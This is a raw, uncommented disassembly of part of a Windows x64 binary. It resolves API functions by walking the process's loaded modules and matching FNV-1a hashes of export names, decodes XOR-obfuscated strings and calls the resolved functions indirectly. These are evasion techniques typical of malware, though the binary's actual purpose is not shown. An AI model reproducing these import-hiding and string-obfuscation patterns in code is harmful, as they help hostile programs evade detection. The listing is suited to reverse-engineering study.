cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042493
cmp r9d, edi
jne 0x140042607
mov r11, qword [rcx + 0x30]
test r11, r11
je 0x14004260f
movsxd rax, dword [r11 + 0x3c]
mov rdx, qword [rax + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042607
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042607
mov r12d, dword [r15 + 0x20]
dec r10d
lea rax, [r11 + r10*4]
mov edx, dword [rax + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042549
movsx eax, bl
sub bl, 0x41
mov edx, eax
or edx, 0x20
cmp bl, 0x19
cmova edx, eax
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042522
cmp r9d, r14d
je 0x14004255b
test r10d, r10d
jne 0x140042501
mov rcx, qword [rcx]
jmp 0x140042460
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x140042611
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x140042611
mov edi, 0x811c9dc5
mov r14d, edi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400425c4
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x1400425a0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400425f6
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400425d0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140042460
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x140046df5
xor esi, esi
mov edi, 0x8285aca5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11e0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400426b0
mov r8, qword [rbp + 0x11e8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400426a7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042680
cmp r9d, esi
jne 0x1400427f5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400427fd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400427f5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400427f5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042738
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042711
cmp r9d, edi
je 0x14004274a
test r10d, r10d
jne 0x1400426f0
mov rax, qword [rax]
jmp 0x140042640
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x1400427ff
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x1400427ff
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400427b4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042790
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400427e4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400427c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042640
xor edx, edx
mov rcx, qword [rbp + 8]
call rdx
mov ecx, 0x400
call fcn.14000d580
mov qword [rbp + 0x2d80], rax
test rax, rax
je 0x140042828
mov rcx, rax
call fcn.140032f90
mov r14, rax
jmp 0x14004282b
xor r14d, r14d
mov qword [rsp + 0x78], r14
mov qword [0x1401bf1c8], r14
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
add r8, r8
mov rcx, qword [rbp + 0x3a18]
imul rdx, rcx, 0x34124c
mov r9, qword [0x1401bf1c0]
add r9, rdx
mov qword [0x1401bf1c0], r9
mov dword [r14 + 0x81], r9d
mov ecx, r9d
neg ecx
mov r12d, 0x40
test ecx, ecx
jle 0x14004289c
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r8
shl rdx, cl
or rdx, rbx
jmp 0x1400428bb
mov eax, r9d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r8
shl rax, cl
movzx ecx, dl
mov rdx, r8
shr rdx, cl
or rdx, rax
mov r11d, r9d
movabs rax, 0x6305c65ab8feb560
sub r11, rax
xor r11, rdx
mov qword [r14 + 0x71], r11
mov ecx, r9d
mov r10, r11
test r9d, r9d
jle 0x1400428fb
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042916
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0x6244f3fccd3cbcab
imul r10, rax
mov qword [r14 + 0x79], r10
xor r8, r11
cmp r9d, 0x7fffffff
jb 0x14004295b
mov ecx, r9d
neg ecx
test ecx, ecx
jle 0x14004297f
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r8, cl
or r8, rbx
jmp 0x140042999
test r9d, r9d
jle 0x14004297c
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rbx, r8
shr rbx, cl
movzx ecx, r9b
shl r8, cl
or r8, rbx
jmp 0x140042999
neg r9d
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rax, r8
shl rax, cl
movzx ecx, r9b
shr r8, cl
or r8, rax
xor r8, r10
mov qword [r14 + 0x69], r8
xor esi, esi
mov edi, 0x5d4d5b80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042a30
mov r8, qword [rbp + 0x11f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042a27
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042a00
cmp r9d, esi
jne 0x140042b86
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140042b8e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042b86
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042b86
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042ac7
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042aa0
cmp r9d, edi
je 0x140042ad9
test r10d, r10d
jne 0x140042a74
mov rax, qword [rax]
jmp 0x1400429c0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
cmp r8, r15
jbe 0x140042b91
mov rax, qword [rbp + 8]
add rax, r15
cmp r8, rax
jae 0x140042b91
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [r8]
cmp dl, 0x2e
je 0x140042b45
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc r8
movzx edx, byte [r8]
cmp dl, 0x2e
jne 0x140042b20
inc r8
movzx edx, byte [r8]
test dl, dl
je 0x140042b75
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea r8, [r8 + 1]
movzx edx, byte [r8]
test dl, dl
jne 0x140042b50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400429c0
xor r8d, r8d
mov r14, qword [rsp + 0x78]
mov ecx, dword [r14 + 0x81]
mov r9, qword [r14 + 0x79]
xor r9, qword [r14 + 0x69]
cmp ecx, 0x7fffffff
jb 0x140042c45
test ecx, ecx
jle 0x140042bd3
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042bee
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r9
shl rax, cl
movzx ecx, dl
shr r9, cl
or r9, rax
xor r9, qword [r14 + 0x71]
xor r9, r8
mov rax, qword [rbp + 0x3a18]
imul rcx, rax, 0x34124c
mov r8, qword [0x1401bf1c0]
add r8, rcx
mov qword [0x1401bf1c0], r8
mov dword [r14 + 0x9d], r8d
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042c68
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r9
shl rdx, cl
or rdx, rbx
jmp 0x140042c87
mov ebx, ecx
neg ebx
test ebx, ebx
jle 0x140042bd5
and ebx, 0x3f
mov edx, ebx
mov ecx, r12d
sub ecx, ebx
mov rbx, r9
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042bee
mov eax, r8d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r9
shl rax, cl
movzx ecx, dl
mov rdx, r9
shr rdx, cl
or rdx, rax
mov r11d, r8d
movabs rax, 0x46175982a990c902
add r11, rax
xor r11, rdx
mov qword [r14 + 0x8d], r11
mov ecx, r8d
mov r10, r11
test r8d, r8d
jle 0x140042cca
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042ce5
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0x8a39e7fa2865ad88
imul r10, rax
mov qword [r14 + 0x95], r10
xor r9, r11
cmp r8d, 0x7fffffff
jb 0x140042d2c
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042d51
and ecx, 0x3f
mov eax, ecx
sub r12d, ecx
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, al
shl r9, cl
or r9, rdx
jmp 0x140042d6c
test r8d, r8d
jle 0x140042d4e
and r8d, 0x3f
sub r12d, r8d
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, r8b
shl r9, cl
or r9, rdx
jmp 0x140042d6c
neg r8d
and r8d, 0x3f
sub r12d, r8d
movzx ecx, r12b
mov rax, r9
shl rax, cl
movzx ecx, r8b
shr r9, cl
or r9, rax
xor r10, r9
mov qword [r14 + 0x85], r10
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
cmp qword [0x1401bf1b8], 0
jne 0x140042dae
mov ecx, 0x1018
call fcn.14000d580
mov qword [rbp + 0x2a08], rax
test rax, rax
je 0x140042da7
mov rcx, rax
call fcn.14004d7a0
nop
mov qword [0x1401bf1b8], rax
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x37b0]
call fcn.14007b770
xor eax, eax
mov byte [rbp - 0x27], al
mov byte [rbp - 0x26], al
mov r8, qword [0x1401bf4c8]
test r8, r8
jne 0x140043005
xor esi, esi
mov edi, 0x70e2d349
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1200], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042e70
mov r8, qword [rbp + 0x1208]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042e67
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042e40
cmp r9d, esi
jne 0x140042fb5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140042fbd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042fb5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042fb5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140042ef8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042ed1
cmp r9d, edi
je 0x140042f0a
test r10d, r10d
jne 0x140042eb0
mov rax, qword [rax]
jmp 0x140042e00
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140042fbf
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140042fbf
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140042f74
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140042f50
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140042fa4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140042f80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042e00
xor ebx, ebx
mov qword [0x1401bf4c8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rcx, [rax + rax*4]
mov qword [0x1401bf4d0], rcx
cmp rcx, rbx
je 0x140042fd0
mov r8, rcx
xor r8, rbx
mov qword [0x1401bf4c8], r8
mov eax, ecx
xor eax, 0x70e2d349
mov dword [0x1401bf4c0], eax
jmp 0x14004300c
mov rcx, qword [0x1401bf4d0]
xor r8, rcx
movabs rax, 0x23b959f28942d441
movabs rcx, 0x3b1b0550f00f3046
movabs rdx, 0x51dc3191e737b52d
mov qword [rbp + 0x1210], rdx
mov qword [rbp + 0x1218], rcx
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
xor eax, eax
mov byte [rbp - 0x25], al
movdqa xmm0, xmmword [rbp + 0x1210]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x37b0]
call r8
lea rdx, [rbp + 0x37b0]
mov rcx, qword [0x1401bf1b8]
call fcn.140055220
xor esi, esi
mov edi, 0x8b519c0d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1220], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140043120
mov r8, qword [rbp + 0x1228]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140043117
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400430f0
cmp r9d, esi
jne 0x140043265
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004326d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140043265
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140043265
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x1400431a8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140043181
cmp r9d, edi
je 0x1400431ba
test r10d, r10d
jne 0x140043160
mov rax, qword [rax]
jmp 0x1400430b0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004326f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004326f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140043224
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140043200
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140043254
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140043230
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400430b0
xor edx, edx
xor ecx, ecx
call rdx
xor edx, edx
xor ecx, ecx
call fcn.1400282b0
lea rcx, [rbp + 0x14e0]
call fcn.140030140
lea rcx, [rbp + 0x14e0]
call fcn.14002fc70
nop
lea rdx, [0x1400c0c88]
lea rcx, [rbp + 0x160]
call fcn.14004f3a0
nop
lea rdx, [0x1400c0c88]
lea rcx, [rbp + 0x48]
call fcn.14004f3a0
nop
lea rcx, [rbp + 0x20]
call fcn.140039090
nop
mov rdi, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
cmp rdi, rsi
jne 0x1400436f0
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x19a8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140043360
mov r9, qword [rbp + 0x19b0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140043357
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140043330
cmp r10d, esi
jne 0x1400434a7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400434af
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400434a7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400434a7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + rdi]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdx + 1]
add r9, rdi
test bl, bl
je 0x1400433e7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400433c0
cmp r10d, r8d
je 0x1400433f9
test r11d, r11d
jne 0x1400433a0
mov rax, qword [rax]
jmp 0x1400432f0
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400434b1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400434b1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140043464
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140043440
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140043496
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140043470
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400432f0
xor ebx, ebx
movabs rax, 0x36f265c1ae65fe7e
movabs rcx, 0x54697715d0221021
movabs rdx, 0x3dfb04bf43d64595
movabs r13, 0x503b9d8ee028f988
movabs r12, 0x51dc3191e737b52d
mov qword [rbp + 0x1440], r12
movabs r15, 0x3b1b0550f00f3046
mov qword [rbp + 0x1448], r15
movabs r8, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1450], r8
mov qword [rbp + 0x1458], r13
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rcx
mov qword [rbp + 0x2a0], rdx
mov qword [rbp + 0x2a8], r13
movdqa xmm0, xmmword [rbp + 0x1440]
pxor xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm1, xmmword [rbp + 0x1450]
pxor xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2a0], xmm1
movabs rcx, 0x25fc5edfc76a9476
movabs rdi, 0x9745ce979994c25b
movabs rsi, 0x4d193e3a33587ea6
movabs r8, 0x4f3b292495684227
movabs r9, 0x5c8f77da31f63c95
movabs r10, 0x136bbde98e418dfa
movabs r11, 0x161d05fc3e468e21
movabs r14, 0xab7cc9f2dd0f3aae
mov qword [rbp + 0xb50], r12
mov qword [rbp + 0xb58], r15
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xb60], rax
mov qword [rbp + 0xb68], r13
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xb70], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xb78], rax
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xb80], rdx
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xb88], rax
mov qword [rbp + 0x480], rcx
mov qword [rbp + 0x488], r8
mov qword [rbp + 0x490], r9
mov qword [rbp + 0x498], r10
mov qword [rbp + 0x4a0], r11
mov qword [rbp + 0x4a8], rdi
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], r14
movdqa xmm0, xmmword [rbp + 0xb50]
pxor xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm1, xmmword [rbp + 0xb60]
pxor xmm1, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm0, xmmword [rbp + 0xb70]
pxor xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm1, xmmword [rbp + 0xb80]
pxor xmm1, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x4b0], xmm1
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x480]
xor r9d, r9d
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x20]
call fcn.14002fad0
nop
lea rcx, [rbp + 0x48]
call fcn.14002fb40
nop
lea rcx, [rbp + 0x160]
call fcn.14002fb40
jmp 0x140044f1d
mov rcx, rdi
call fcn.14002afc0
mov rcx, rax
call fcn.1400753d0
test al, al
jne 0x14004371c
mov rcx, rdi
call fcn.14002afc0
mov rcx, rax
call fcn.140075de0
test al, al
je 0x140043811
lea rdx, [rbp + 0x22a0]
mov rcx, rdi
call fcn.14004f330
mov rbx, qword [rax]
lea rdx, [rbp + 0x2298]
mov rcx, rdi
call fcn.14004f350
lea r9, [rbp - 0x24]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x3530]
call fcn.140054dc0
nop
mov rcx, rax
call fcn.14000aaf0
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140074620
nop
lea rcx, [rbp + 0x3530]
call fcn.14002afe0
mov rax, qword [rbp + 0xa0]
cmp qword [rbp + 0x98], rax
je 0x140043805
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x33b0]
call fcn.14004ec60
mov rdx, rax
lea rcx, [rbp + 0x33d0]
call fcn.140038c50
cmp byte [rbp + 0x33d0], 0
jne 0x1400437f8
mov eax, 7
xor ecx, ecx
cpuid
mov dword [rbp + 0xa00], eax
mov dword [rbp + 0xa04], ebx
mov dword [rbp + 0xa08], ecx
mov dword [rbp + 0xa0c], edx
shr ecx, 7
test cl, 1
je 0x1400437e9
cmp byte [rbp + 0x33d1], 0
lea rcx, [rbp + 0x48]
jne 0x1400437f0
lea rcx, [rbp + 0x160]
mov rdx, rdi
call fcn.14002fba0
lea rcx, [rbp + 0x33d0]
call fcn.14003c2b0
nop
lea rcx, [rbp + 0x98]
call fcn.140001e50
add rdi, 0x20
cmp rdi, rsi
jne 0x1400436f0
